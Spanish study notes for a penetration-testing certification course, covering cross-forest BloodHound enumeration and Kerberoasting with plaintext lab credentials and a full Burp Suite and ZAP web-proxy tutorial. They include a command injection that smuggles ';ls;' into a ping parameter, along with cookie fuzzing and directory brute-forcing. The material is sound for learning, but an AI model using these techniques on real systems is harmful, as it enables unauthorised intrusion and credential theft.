En algunas evaluaciones, nuestro cliente puede aprovisionarnos una VM que obtiene una IP de DHCP y está configurada para usar el DNS del dominio interno. En otras ocasiones, estaremos en un host de ataque sin el DNS configurado. En este caso, necesitaríamos editar nuestro archivo resolv.conf
- Conf resolv.cong añadiendo el dominio INLANEFREIGHT.LOCAL
cat /etc/resolv.conf
![[Pasted image 20261005191256.png]]
- Ejecutamos la herramienta de bloodhound.py contra ese dominio
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
![[Pasted image 20261005191330.png]]
- Comprimos los archivos para subir luego solo un archivo zip del dominio
zip -r ilfreight_bh.zip *.json
![[Pasted image 20261005191405.png]]
- Añadimos el segundo dominio a resolv.conf FREGHTLOGISTICS.LOCAL
cat /etc/resolv.conf
![[Pasted image 20261005191439.png]]
- Ejecutamos la herramienta de bloodhound.py contra ese dominio
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u [email protected] -p Klmcargo2
![[Pasted image 20261005191459.png]]
- Comprimos los archivos para subir luego solo un archivo zip del dominio
zip -r freightlog_bh.zip *.json
- Subimos los os archivos y vamos a Analisys > Users with Foreign Domain Group Membership para ver usuarios que no pertenecen al dominio siendo parte de ese dominio
![[Pasted image 20261005191606.png]]
Ejemplo practico
- Realiza un kerberoast desde el Linux y sube el nombre de la cuenta con SPN que no es mssqlsvc
- Nos conectamos via rdp
![[Pasted image 20261005192310.png]]
- Miramos usuarios con SPN del bosque FREIGHTLOGISTICS.LOCAL y luego realizamos un Kerberoasting a este dominio para obtener hashes TGS
wley:transporter@4
![[Pasted image 20261005192429.png]]
![[Pasted image 20261005192506.png]]
- Crackeamos offline
![[Pasted image 20261005192628.png]]
![[Pasted image 20261005192640.png]]
- Logueate en ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL, DC usando la cuenta Domain Admin y obten la flag de Administrator desktop
- Nos conectamos via SMB al C$ y obtenemos la flag
![[Pasted image 20261005193137.png]]![[Pasted image 20261005193147.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 1. Introduccion
1. Introduccion E Instalacion Inicial
La mayoria de aplicaciones se conectan a un backend para enviar y recibir datos pero procesan los datos en el propio dispositivo, por ello comprobar y validar los backends es tan importante
Probaremos las solicitudes web hacia los servidores backend y usaremos los Proxy Web para capturar estas solicitudes y trafico que pasa entre aplicaciones y servidores
Proxies Web
Son herramientas que se configuran entre el navegador o aplicacion y el servidor backend para capturar y ver las solicitudes web actuando como herramientas MITM
A diferencia de herramientas como WireShark que ven todo el trafico de red, estas se centrar en puerto web como el 80 y 443
Las dos herramientas que vamos a usar son: Burp Suite (Burp) y OWASP Zed Attack Proxy (ZAP)
Configuraciones
Burp Suite
Burp Suite (Burp)
Descarga: Página de Descargas de Burp
Si se descarga el archivo .jar se ejecuta lo siguiente:
java jar /RUTA/burpsuite.jar
Descargar Java: https://docs.oracle.com/goldengate/1212/gg-winux/GDRAD/java.htm#BGBFHBEA
- Lo ejecutamos como aplicacion normal o desde la terminal
burpsuite &
- Al entrar nos pedira crear un proyecto pero como tenemos la version community solo podemos crear proyectos temporales
![[Pasted image 20260705215247.png]]
- Nos pedira o poner las opciones por defecto o cargar un archivo con configuraciones, eligiremos las de por defecto
![[Pasted image 20260705215404.png]]
YA ESTAMOS DENTRO
TEMA OSCURO: Burp>Settings>User interface>Display>theme>Dark
ZAP
OWASP Zed Attack Proxy (ZAP)
Descarga: página de descargas
Si se descarga el archivo .jar se ejecuta lo siguiente:
java jar /RUTA/burpsuite.jar
- Iniciamos ZAP desde la terminal o como aplicacion
zaproxy
- Nos pedira que creemos un proyecto nuevo o temporal, en este caso eligiremos el temporal poniendo NO:
![[Pasted image 20260705215628.png]]
YA ESTAMOS DENTRO
TEMA OSCURO: Tools>Options>Display>Look and Feel>Flat Dark
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
1. Setup
Navegador preconfigurado
Para usarlas como proxyweb hay dos opciones:
- Usar el navegador integrado en el proxy
- Burp Suite: Proxy>Interecept>Open Browser
![[Pasted image 20260705220205.png]]
- ZAP: click en icono de navegador Firefox
![[Pasted image 20260705220241.png]]
- Configurar el navegador para que las solicitudes web se hagan a traves del proxy. Ambos usan el puerto 8080 por defecto asi que en uno de los dos lo configuramos en un puerto diferente:
- Burp: Proxy>Proxy settings>Proxy listeners –> 8080
- ZAP: Tools>Options>Network>Local Servers/Proxies –> 8081
- Añadimos la extension Foxy Proxy para cambiar rapidamente entre proxies desde el navegador normal o encenderlos y apagarlos
Hacemos click en su icono y vamos a Options
![[Pasted image 20260705220932.png]]
Damos a Add> 127.0.0.1> 8080 o 8081 y lo nombramos como Burp o ZAP> Save
![[Pasted image 20260705221113.png]]
- Seleccionamos una u otra dependiendo de la que vayamos a usar
![[Pasted image 20260705221141.png]]
Instalacion del certificado CA
Esto es necesario ya que sino el trafico HTTPS se puede enrutar mal o tendremos que dar accept cada vez que se tenga que usar HTTPS
- Descargar el certificado:
-
Burp: seleccionamos en FoxyProxy Burp > navegamos a http://burp y descargamos el certificado de alli en CA Certificate
![[Pasted image 20260705221452.png]]
-
ZAP: Tools>Options>Network>Server Certificates> Save o podemos generar uno nuevo o cambiarlo con Generate
![[Pasted image 20260705221518.png]]
- Instalarlo en Firefox: navegamos a about:preferences#privacy, nos desplazamos a la parte interior y hacemos click en View Certificates > Authorities > Import y seleccionamos el certificado:
![[Pasted image 20260705221707.png]]![[Pasted image 20260705221737.png]]
- Por ultimo seleccionamos Trust this CA to identify websites y Trust this CA to identify email users y le damos a OK:
![[Pasted image 20260705221833.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
2. Interceptando Solicitudes WEB
Una vez configurado podemos usarlo para interceptar y modificar solicitudes web
Intercepcion de solicitudes
Burp Suite
-
En FoxyProxy activamos la opcion de Burp
-
En Burp Suite: Proxy>Intecept>Intercept on
![[Pasted image 20260705222746.png]]
- Al visitar el sitio web objetivo veremos la solicitud interceptada que se enviara desde nuestro navegador al backend una vez demos Fordward
![[Pasted image 20260705222922.png]]
ZAP
-
En FoxyProxy activamos la opcion de ZAP
-
La intercepcion en ZAP esta habilitada por defecto (es el circulo verde de la barra inicial). Para activarlo o desactivarlo le damos al boton verde o hacemos CTL+B
![[Pasted image 20260705223142.png]]
- Al visitar en el navegador la pagina web veremos la solicitud interceptada y podemos hacer click en Break para reenviar la solicitud
![[Pasted image 20260705223305.png]]
Ademas ZAP tiene una funcion llamada HUD que nos permite controlar la mayoria de funciones de ZAP desde el navegador preconfigurado. Podemos habilitar HUD para le navegador preconfigurado dando click en el siguiente boton de la barra:
![[Pasted image 20260705223426.png]]![[Pasted image 20260705223435.png]]
Para interceptar las solicitudes hacemos click en el segundo boton izquierdo y una vez actualicemos la pagina web veremos la solicitud. La enviaremos:
- Step: enviar la solicitud y examinar la respuesta del backend antes de que la procese el navegador. Util para examinar cada paso
- Continue: enviar todas las solicitudes restantes. Util si solo estamos interesados en una solicitud
![[Pasted image 20260705223631.png]]
Manipulacion de solicitudes interceptadas
Esta solicitud interceptada estara en espera hasta que la reenviemos. Podemos examinarla y/o modificarla antes de enviarala
Hay muchas vulns que podriamos aprovechar y pueden estar presentes en el backend si procesa mal la solicitud enviada:
- Inyecciones SQL (SQL injections)
- Inyecciones de comandos (command injections)
- Omisión de subida de archivos (upload bypass)
- Omisión de autenticación (authentication bypass)
- XSS
- XXE
- Manejo de errores (error handling)
- Deserialización (deserialization)
Ejemplo de la pagina web interceptada:
![[Pasted image 20260705224108.png]]
- Ponemos un valor IP y luego le damos a ping con el proxy encencido. Obtendremos la solicitud que el navegador envia antes de que llegue al backend:
![[Pasted image 20260705224215.png]]
- No podemos poner caracteres porque el frontend nos lo impide con un JS, pero podemos modificarlas una vez se ha enviado la solicitud interceptandola y si no se valida bien en el backend se lo come
En este ejemplo cambiamos el valor de ip de 1 a ;ls;
![[Pasted image 20260705224435.png]]
- Lo enviamos con Forward o le damos a Continue y veremos que la salida de ping a cambiado a la salida de ls
![[Pasted image 20260705224548.png]]
Ejemplo practico
- Probamos la aplicacion como funciona sin proxies y vemos que envia pings al localhost de la maquina segun el numero que pongamos por lo que podemos suponer que ejecuta el comando ping en el backend
![[Pasted image 20260705224707.png]]![[Pasted image 20260705224714.png]]![[Pasted image 20260705224724.png]]![[Pasted image 20260705224729.png]]
- Activamos el proxy y la intercepcion de solicitudes
![[Pasted image 20260705224737.png]]![[Pasted image 20260705224745.png]]![[Pasted image 20260705224802.png]]
- Modificamos la solicitud para que tras el ping ejecute el comando ls, en bash se pueden ejecutar varios comandos seguidos separados por ;
![[Pasted image 20260705224820.png]]![[Pasted image 20260705224829.png]]
- Obtenemos la flag modificando otra solicitud
![[Pasted image 20260705224900.png]]![[Pasted image 20260705224908.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
3. Interceptando Respuestas
Hay casos en los que necesitaremos interceptar las respuestas del servidor antes de que las interprete el navegador
Con esto podemos cambiar aspectos de la pagina, habilitar ciertos campos o mostrar ciertos campos campos ocultos…
Seguimos con el ejemplo de antes que solo nos permitia poner valores numericos pero si obtenemos y modificamos la respuesta nos permitira poner cualquier valor
Burp Suite
- Activamos la intercepcion de respuestas: Proxy>Proxy settings>Response interception rules>Intercept Response
![[Pasted image 20260705225808.png]]
- Habilitamos la intercepcion del proxy con FoxyProxy activado y actualizamos la pagina con CTL+SHIFT+R (se fuerza la actualizacion completa)
Veremos la solicitud interceptada y una vez le demos a Forward veremos la respuesta interceptada con el codigo fuente de la pagina web
![[Pasted image 20260705230029.png]]
- Como vemos dentro del campo input donde ponemos el valor numerico este esta capado por un JS que pone “type=number”, lo modificamos a “type=text” y “maxlenght=100” para poder introducir mas cosas
![[Pasted image 20260705230216.png]]
- Ahora podremos escribir los comandos directamente en el cuadro de input
![[Pasted image 20260705230246.png]]
Burp tiene una opcion que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo
- Proxy>Proxy settings>Response modification rules>Unhide hidden form fields
ZAP
Si lo hacemos con HUB:
- Le damos al segundo boton de la izquierda para que intercepte, hacemos CTL+SHIFT+R para actualizar la pagina web y obtenemos la solicitud. Si le damos a Step obtendremos la respuesta
![[Pasted image 20260705230458.png]]
- Hacemos los mismos cambios en la respuesta y le damos a Continue
![[Pasted image 20260705230526.png]]
HUB tiene el tercer boton que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo:
![[Pasted image 20260705230704.png]]![[Pasted image 20260705230710.png]]
Otra opcion es en el boton “+?Comments” que nos muestra los comentarios HTML que estan solo visibles en el codigo fuente con CTL+U
![[Pasted image 20260705230905.png]]
Ejemplo practico
![[Pasted image 20260705231002.png]]![[Pasted image 20260705231216.png]]![[Pasted image 20260705231235.png]]![[Pasted image 20260705231251.png]]![[Pasted image 20260705231259.png]]![[Pasted image 20260705231321.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
4. Modificacion Automatica
Es posible que queramos añadir modificaciones a todas las solicitudes salientes o respuestas entrantes HTTP
Modificacion automatica de solicitudes
Podemos hacer coincidir cualquier cadena de texto dentro de las solicitudes (ya sea cabecera o cuerpo) y reemplazarlo por un texto diferente
Como ejemplo modificaremos User Agent por HackTheBox Agent 1.0
Burp Suite
-
Proxy > Proxy settings > HTTP match and replace rules > Add
-
Usando Regex podemos poner:
![[Pasted image 20260706115747.png]]
- Request Header: cabecera de la solicitud
- ^User-Agent.*$: el patron regez coincide con toda la linea que contiene User Agent
- El valor del reemplazo
- Regex match ya que no conocemos la cadena exacta
- Le damos a Accept y la condicion de reemplazo de añadira y comenzara a reemplazar automaticamente la cabecera User-Agent. Podemos verificarlo visitando cualquier sitio web con el proxy activado
![[Pasted image 20260706120125.png]]
ZAP
La caracteristica en ZAP se llama Replacer:
- CTL+R o le damos a Replacer en el menu de opciones de ZAP
- Configuramos la regla
![[Pasted image 20260706120229.png]]
- Descripcion: HTB User-Agent
- Tipo de coincidencia: Request Header
- Cadena de coincidencia: User Agent
- Cadena de reemplazo: HackTheBox Agent 1.0
- Habilitar: Tue
En la pestaña de Initiators nos permite seleccionar donde se aplicara nuesta opcion Replacer:
- Ponemos la predeterminada (Apply to all HTTPS messages para aplicarla en todas partes)
- Habilitamos la intercepcion de solicitudes con CTL+B y visitamos cualquier sitio web
![[Pasted image 20260706120556.png]]
Modificacion automatica de respuestas
Burp Suite
- Proxy > Options > Match and Replace
- Usamos el tipo: Response body
- Modificamos como antes pero en este caso no necesitamos modificar con Regex
![[Pasted image 20260706120913.png]]
Ejemplos practivos
- Activamos el Foxy Proxy y la intercepcion en BurpSuite
![[Pasted image 20260706121345.png]]![[Pasted image 20260706121320.png]]
- Interceptamos una solicitud de prueba para luego añadir la nuestra en los settings
![[Pasted image 20260706121328.png]]![[Pasted image 20260706121354.png]]![[Pasted image 20260706121405.png]]![[Pasted image 20260706121429.png]]
- Añadimos la siguiente configuracion para cambiar todos los UserAgent en cada solicitud interceptada por BurpSuite
![[Pasted image 20260706121706.png]]![[Pasted image 20260706121629.png]]
- Si interceptamos cualquier solicitud veremos que ha cambiado
![[Pasted image 20260706121739.png]]
- Modificacion de respuesta
- Hamos lo mismo que con las solicitudes pero en este caso vamos a modificar el type=number por type=text y maxlength=3 por 100 para poder ejecutar comandos
![[Pasted image 20260706121909.png]]![[Pasted image 20260706122129.png]]![[Pasted image 20260706121951.png]]
- En la pagina web hacemos CTL+SHIFT+R para recargar toda la pagina y obtenemos la solicitud y respuesta donde en la respuesta podemos ver que se ha modificado
![[Pasted image 20260706122205.png]]
- Manteniendo el burp encendido cada vez que recarguemos la pagina podremos escribir texto hasta 100 caracteres
![[Pasted image 20260706122223.png]]![[Pasted image 20260706122245.png]]![[Pasted image 20260706122309.png]]![[Pasted image 20260706122317.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
5. Repeticion De Solicitudes
Nos permite reenviar una solicitud web que haya pasado por el proxy para hacer cambios mas rapidamente
Historial del Proxy
- Ver el historial:
- Burp Suite: Proxy > HTTP History
![[Pasted image 20260706123631.png]]
- ZAP: en el panel Historial inferior o pestaña History en la parte inferior de la interfaz
![[Pasted image 20260706123742.png]]
Ambas tienen opciones de filtrado. Podemos acceder a una y ver sus detalles:
![[Pasted image 20260706123909.png]]
![[Pasted image 20260706123929.png]]
Repeticion de solicitudes
- Enviar al Repeater:
- Burp Suite: una vez encontrada hacemos CTL+R para mandarla al Repeater y luego navegamos a la pestaña de Repeater o hacemos CTL+SHIFT+R. Con Send enviamos la solicitud
![[Pasted image 20260706124136.png]]
Con click derecho + Change Request Method podemos cambiar el metodo HTTP de GET -> POST sin tener que reescribir la solicitud completa
- ZAP: en la solicitud que queremos enviar al Repeater hacemos click derecho > Open/Resend with Request Editor. Abrira una ventana de editor de solicitudes y nos permitira reenviar la solicitud con el boton de Send
![[Pasted image 20260706124647.png]]
En el desplegable Method podemos cambiar el metodo de la solicitud como en Burp Suite
Consejo: Por defecto, la ventana del Editor de Solicitudes en ZAP tiene la Solicitud/Respuesta en pestañas diferentes. Puedes hacer clic en los botones de visualización para cambiar cómo se organizan. Para que coincida con la apariencia anterior, elige las mismas opciones de visualización que se muestran en la captura de pantalla.
Con HUB podemos hacer lo mismo, localizamos la solicitud en el Historial y una vez hacemos click en ella aparecera el Request Editor: Replay in Console (obtener la respuesta en el HUB) o Replay in Browser (verla rederizada en el navegador)
![[Pasted image 20260706124936.png]]
Modificacion de la solicitud
En las 3 podemos modificar el texto para reemplazarlo con lo que queramos y luego hacer click en Send
![[Pasted image 20260706125032.png]]
Para codificar en URL rapidamente –> CTL+U (si le damos varias veces se ira codificando cada vez mas en URL), CTL+SHIFT+U para volver atras
Ejemplo practico
- Encontramos la solicitud que hicimos con los parametros de la respueta cambiados que nos permitieron ejecutar comandos y lo mandamos al repeater
![[Pasted image 20260706125305.png]]
- Lo enviamos para ver si la respuesta funciona
![[Pasted image 20260706125337.png]]![[Pasted image 20260706125354.png]]
- Modificamos la solicitud y la volvemos a enviar (usamos CTL+U para codificar en formato URL)
![[Pasted image 20260706125451.png]]![[Pasted image 20260706125500.png]]
Le damos a send
![[Pasted image 20260706125518.png]]
Vamos modificando para obtener la otra flag:
![[Pasted image 20260706130025.png]]![[Pasted image 20260706130056.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
6. Codificacion Y Decodificacion
Es posible que necesitemos realizar codificaciones y decodificaciones para interactuar correctamente con el servidor web
Codificacion URL
Es fundamental que los datos de la solicitud esten codificados en URL y que las cabeceras esten correctamente configuradas, sino podriamos recibir un error de respuesta
Caracteres necesarios de codificar:
-
Espacios: para que no los tome como final de datos
-
&: para que no los interprete como un delimitador de parametros
-
#: para que no los interprete como un indicador de fragmento
-
Burp Suite:
Tenemos dos opciones:
- Seleccionar el texto y hacer CTL U (cuantas mas veces lo hagamos sobre el mismo fragmento mas coficado en URL), para volver atras CTL SHIFT U
- Seleccionar el texto > Click derecho > Convertir selección>URL>Codificar en URL los caracteres clave
- ZAP: lo hace en segundo plano automaticamente cuando enviamos la solicitud
Decodificacion
Algunos formatos en los que codifican o esperan los datos los backends son:
Introducimos la cadena BSE64 (eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=)
Luego Decode as>Base64
![[Pasted image 20260706131623.png]]
En versiones recientes tenemos Burp Inspector que se encuentra en varias zonas de la herramienta para codificar y decodificar rapidamente:
![[Pasted image 20260706131700.png]]
- ZAP: CTL E > Encoder/Decoder/Hash
Usara varios decodificadores de forma automatica:
![[Pasted image 20260706131731.png]]
Codificacion
Ejemplo codificando: {“username”:“guest”, “is_admin”:false}
En un pentest se encontraron un base64 con ese valor dentro de una cookie y es posible que querramos modificarlo a admin y true:
En vez de Decode as le damos a Encode as:
![[Pasted image 20260706131906.png]]![[Pasted image 20260706131913.png]]
Ejemplo practico
Nos dan un archivo con un texto codificado varias veces, tenemos que obtener la flag
1, Descargamos el archivo
![[Pasted image 20260706132141.png]]
- Vamos decodificando todo BASE64 menos el ultimo que era URL
![[Pasted image 20260706132300.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
7. Herramientas De Proxy
Permitiremos la intercepcion de peticiones web de herramientas de linea de comandos y aplicaciones de cliente
Para enrutar estas peticiones de herramientas especificas a traves del proxy tenemos que configurarlas como proxy a traves de http://127.0.0.1:8080
Cada herramienta se configura de forma diferente
Proxychains
Enrutar todo el trafico de cualquier herramienta de comandos
- Modificamos /etc/proxychains4.conf
![[Pasted image 20260706133206.png]]
- Usamos proxychains con la herramienta y el parametro -q para que opere en modo silencioso suprimiendo la informacion de conexion a la consola y centrarse solo en la salida de la aplicacion
proxychains -q curl http://IP:PORT
![[Pasted image 20260706133332.png]]
- Si vamos al proxy veremos que la solicitud ha pasado por el
![[Pasted image 20260706133401.png]]
MSF
- Iniciamos MSF y establecemos un proxy para cualquier exploit de MSF
msfconcole -q
use auxiliary/scanner/http/robots_txt
set proxies HTTP:127.0.0.1:8080
set rhost IP
set rport PORT
run
- Si volvemos al proxy veremos que la solicitud ha pasado por el
![[Pasted image 20260706133604.png]]
Ejemplo practico
- Modificamos /etc/proxychains4.conf para que pasen las peticiones HTTP por el puerto local 8080 y con burp encendido usamos proxychains con una herramienta que haga peticiones HTTP. Vemos como burp las intercepta y una vez que pasamos las respuestas y solicitudes sale por terminal la salida
![[Pasted image 20260706134245.png]]![[Pasted image 20260706134251.png]]
- Con el proxy encendido configuramos el modulo MSF para que pueda interceptar la solicitud web en el proxy
![[Pasted image 20260706133958.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 3. WEB Proxy Fuzzer
1. Burp Intruder
Esta herramienta realiza fuzzing web, enumeracion y fuerza bruta
Ejemplo objetivo
- Accedemos a la pagina web con el proxy encendido, hacemos click derecho en la peticion (ya sea en la propia peticion o en el historial) y lo mandamos al Intruder o con CTL+I
![[Pasted image 20260706145330.png]]
Posiciones
Se encapsulan entre “$-$” y es el puntero donde colocaremos la iteracion
- En este ejemplo haremos un fuzzing de directorios desde la raiz (/$DIRECTORY$) donde DIRECTORY se ira iterando segun la wordlist que le pasemos mas adelante. Para colocar $-$ le damos a ADD
![[Pasted image 20260706145704.png]]
Payloads
En la seccion derecha de Intruder se encuentra el apartado de Payloads. Aqui podremos elegir wordlists sobre la que se iterara la DIRECTORY en este caso probando uno por uno
- Elegimos la posicion y tipo de payload: indicamos en todas las posiciones que colocamos el puntero (solo DIRECTROY en nuestro caso) y Simple list
![[Pasted image 20260706145957.png]]
En este caso al solo tener una posicion de puntero el ataque es tipo “Sniper” y solo podemos elegir un payload para esa posicion. Si hubiese mas punteros “Cluster Bomb” podriamos haber elegido un payload para cada uno
Tipos de payload:
- Simple list: una lista de palabras e Intruder itera sobre cada una de ellas
- Runtime file: parecido a Simple list pero carga linea por linea a medida que se ejecuta el escaeno para evitar el uso excesivo de la memoria de Burp
- Character Substitution: permite especificar una lista de caracteres y sus reemplazos y Burp prueba todas las permutaciones
- Se pueden crear listas personalizadas
Burp Intruder payload types
- Configuramos el payload: es diferente en cada tipo de payload. Para el Simple List tenemos que crear o cargar una lista de palabras dandole a Add (construir nuestra lista de palabras) o Load (importar un archivo)
/opt/useful/seclists/Discovery/Web-Content/common.txt
![[Pasted image 20260706150646.png]]
Podemos añadir mas de una wordlist y/o añadir nuevas palabras a la lista ya creada
Si usamos una lista muy larga mejor usar Runtime file para no saturar la memoria
- Procesamiento del payload: nos permite determinar reglas de fuzzing sobre la lista de palabras cargada (Ejemplo: añadir una extension despues de la palabra de la wordlist o si queremos que de la lista se omita cualquier cosa o solo considerar algunas). En el ejemplo eliminamos las entradas que tengan un . al iniciar
Le damos a Add y luego Skip if matches regex lo que nos permite proporcionar un patron regez poara que omitamos lo que coincida con la entradaÑ
![[Pasted image 20260706151452.png]]![[Pasted image 20260706151505.png]]
- Codificacion del payload: podemos tambien encodear a URL los caracteres que pongamos en la entrada
![[Pasted image 20260706151604.png]]
Configuracion
Por ultimo podemos personalizar las opciones de ataque desde la pestaña Settings
Ejemplos: Number of retries on network failure y Pause before retry a 0
Una opcion muy util es “Grep - Match” que permite marcar peticiones especificas dependiendo de las respuestas. En este caso solo nos interesan las que tengan una respuesta 200 OK asi que podemos limpiar la lista actual con Clear y luego Add 200 OK. Por ultimo deshabilitaremos los Exclude HTTP Headers para que tenga en cuenta la cabecera que es donde se encontrara el 200 OK:
![[Pasted image 20260706151945.png]]
Tambien puede servir para solo extraer un fragmento de la respuesta y no toda. Imagina que tenemos esto en las respuestas:
<html>
...
Bienvenido <b>NOMBRE</b>
...
</html>
Y queremos que nos extraiga la parte que esta entre <\b>NOMBRE</b> para verla desde fuera rapidamente, podemos usar la expresion regex:
(?<=<b>).*?(?=</b>)
Y nos saldra lo siguiente:
![[Pasted image 20260706153449.png]]
Ataque
Le damos a Start Attack y esperamos a que nuestro ataque termine
Como vemos las que empezaban por . fueron omitidas
![[Pasted image 20260706153554.png]]
En la columna 200OK podemos ver las peticiones que coinciden con 200 OK:
![[Pasted image 20260706153652.png]]
Podemos visitar http://SERVER_IP:PORT/admin/ para asegurarnos de que existe
Podemos usar Intruder para mas ataques de fuzzing web, fuerza bruta etc
Ejemplo practico
- Con el proxy iniciado vamos a /admin y la solicitud la pasamos al Intruder
![[Pasted image 20260706153948.png]]![[Pasted image 20260706154019.png]]
- Añadimos el puntero
![[Pasted image 20260706154036.png]]
- Configuramos el payload: elegimos la wordlist, omitimos las entradas que empiezan por . y codificamos los caracteres especiales a URL
![[Pasted image 20260706154147.png]]![[Pasted image 20260706154215.png]]![[Pasted image 20260706154339.png]]
- Ponemos en la configuracion que se marquen las salidas con 200 OK que esten en la cabecera
![[Pasted image 20260706154432.png]]![[Pasted image 20260706154551.png]]
- Vamos a la direccion donde se encuentra el sitio con 200 OK para verificar y vemos la flag. Tambien se podia ver en el apartado de Response dentro Burp
![[Pasted image 20260706154614.png]]![[Pasted image 20260706154647.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 3. WEB Proxy Fuzzer
2. Zap Fuzzer
No limita su velocidad como Burp
Fuzz
- Visitamos la pagina web para capturar la peticion, hacemos click derecho en ella y Attack>Fuzz
![[Pasted image 20260706155838.png]]
- Marcamos los Fuzz locations que son los punteros de ZAP. Seleccionamos la cadena y le damos Add:
![[Pasted image 20260706155947.png]]
- Se habre la pestaña de payloads. Le damos a ADD para añadir nuestros payloads
- File: permite seleccionar una wordlist
- File Fuzzers: permite seleccionar una wordlist de la base de datos de palabras incorporadas
- Numberzz: genera secuencias de numeros con incrementos personalizados
Podemos descargar mas wordlist incorporadas desde Market Place
- Seleccionamos Type>File Fuzzers>dirbuster y le damos a Add
![[Pasted image 20260706160317.png]]
- Procesadores: podemos hacer un procesamiento en cada palabra de la wordlist como:
- Base64 Decode/Encode
- MD5 Hash
- Postfix String
- Prefix String
- SHA-1/256/512 Hash
- URL Decode/Encode
- Script
O podemos añadir una cadena de Prefix o Postfix String a las palabras de la wordlist. Tambien tenemos la opcion de script para incorporar un script personalizado que hayamos creado y se ejecute en cada payload
Seleccionaremos URLEncoded como procesador para que codifique los payloads y puedes hacer click en el boton Generate Preview para previsualizar como quedaria:
![[Pasted image 20260706162137.png]]
Le damos a Add
- Opciones: podemos establecer algunas opciones para los fuzzers como en Burp. Por ejemplo los threads de escaneo:
![[Pasted image 20260706162251.png]]
- Depth first: intentara los payloads en una posicion antes de pasar a la siguiente
- Breadth first: intentara un payload en todas las posiciones y luego pasara al siguiente payload
- Iniciamos dandole a Start Fuzzer y luego podemos filtrar por los resultados ya que solo buscamos el de 200 OK
![[Pasted image 20260706162524.png]]
Encontramos el directory /skills/
![[Pasted image 20260706162548.png]]
Ejercicio practico
- Visitamos la pagina web en el directorio /skills con el proxy encendido para interceptar la peticion y mandarla a Intruder
![[Pasted image 20260706163205.png]]![[Pasted image 20260706163351.png]]
- Como vimos en la respuesta hay un Set-Cookie (la cookie es un MD5 con el username) por lo que para probar varias entradas de Cookie tenemos que poner en la solicitud la Cookie con “Cookie: cookie=MD5”
![[Pasted image 20260706163517.png]]
![[Pasted image 20260706164140.png]]
- Configuramos el payload poniendo una wordlist de usuarios que procesaremos como MD5
![[Pasted image 20260706163615.png]]![[Pasted image 20260706163600.png]]![[Pasted image 20260706163746.png]]![[Pasted image 20260706163803.png]]![[Pasted image 20260706163827.png]]
- Al iniciar el ataque vemos que todos dan resultado 200 OK pero hay uno con una mayor longitud del resto. En la respuesta vemos la flag
![[Pasted image 20260706164203.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 4. Escaner WEB
1. Burp Scanner
Usa un Crawler para construir la estructura del sitio web y un escaner pasivo y otro activo
Solo version pro por lo que no lo explico
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 4. Escaner WEB
2. Zap Scanner
Parecido al de Burp usa un Spider para construir la estructura de un sitio web y realizar escaneos pasivos y activos
Spider
Inicia un Spider del sitio web
- Iniciar desde la solicitud HTTP que queramos en el History>click derecho>Attack>Spider o usando el HUD en el navegador preconfigurado y le damos a Spider Start
![[Pasted image 20260706193551.png]]
Puede decirnos que el sitio web no esta dentro del scope pero si le damos a YES se añadira automaticamente. El scope es el conjunto de URLs que ZAP probara al iniciar el escaneo
- Hacemos click en Start en la pestaña emergente y el spider comenzara a rastrear el sitio web buscando enlaces y validandolos. Veremos el progreso tanto en el boton del HUD como en la UI de ZAP en la pestaña de ZAP. Cuando termine podemos dar al primer boton del panel derecho “Sites Tree” que mostrara un arbol expansible con la lista de directorios y subdirectorios
![[Pasted image 20260706194020.png]]
Hay otra opcion que es “Ajax Spider” que se inicia con el tercer boton del panel derecho. La diferencia es que Ajax tambien intenta identificar enlaces solicitados a traves de solicitudes AJAX dw JS
Son solicitudes HTTP que JavaScript realiza en segundo plano para comunicarse con el servidor sin recargar la página completa
Escaneo pasivo
Con el ZAP Spider se ejecuta automaticamente un escaneo pasivo en cada respuesta para identificar problemas potenciales del codigo fuente como cabeceras de seguridad faltantes o vulnerabilidades XSS basado en DOM
Por ello el boton de alertas comienza a llenarse aunque no hayamos tocado nada (panel izquierdo = problemas de la pagina actual que estamos visitando y en el panel derecho = alertas de la aplicacion web general)
![[Pasted image 20260706194720.png]]
Podemos revisarlas tambien desde la UI de ZAP en la pestaña Alerts donde se veran todos los problemas:
![[Pasted image 20260706194804.png]]
Escaner activo
Una vez que el arbol este poblado podemos hacer click en Active Scan en el panel derecho para iniciarlo (si aun no se ha hecho el Spider Scan lo hara automaticamente). Podemos ver el progreso de forma similar al Spider Scan
![[Pasted image 20260706195013.png]]
Probara varios tipos de ataques contra las paginas y parametros HTTP indicando para identificar tantas vulnerabilidades como pueda. Es por eso que el escaner activo tardare en completarse y a medida que se completa, los botones de alertas empezaran a llenarse
Podemos revisar la UI de ZAP para mas detalles sobre el escaneo en ejecucion donde podemos ver varias solicitudes enviadas por ZAP:
![[Pasted image 20260706195214.png]]
Una vez finalice podemos ver las alertas:
![[Pasted image 20260706195246.png]]
Podemos hacer click en ella para obtener mas detalles:
![[Pasted image 20260706195308.png]]
En la ventana de detalles de la alerta, si clicamos en la URL podremos ver la solicitud y respuesta que uso ZAP para identificar la vuln y poder replicarla:
![[Pasted image 20260706195421.png]]
Report>Generate HTML Report en formatos XML o Markdown y podemos habrirlo en el navegador
![[Pasted image 20260706195544.png]]
CPTS
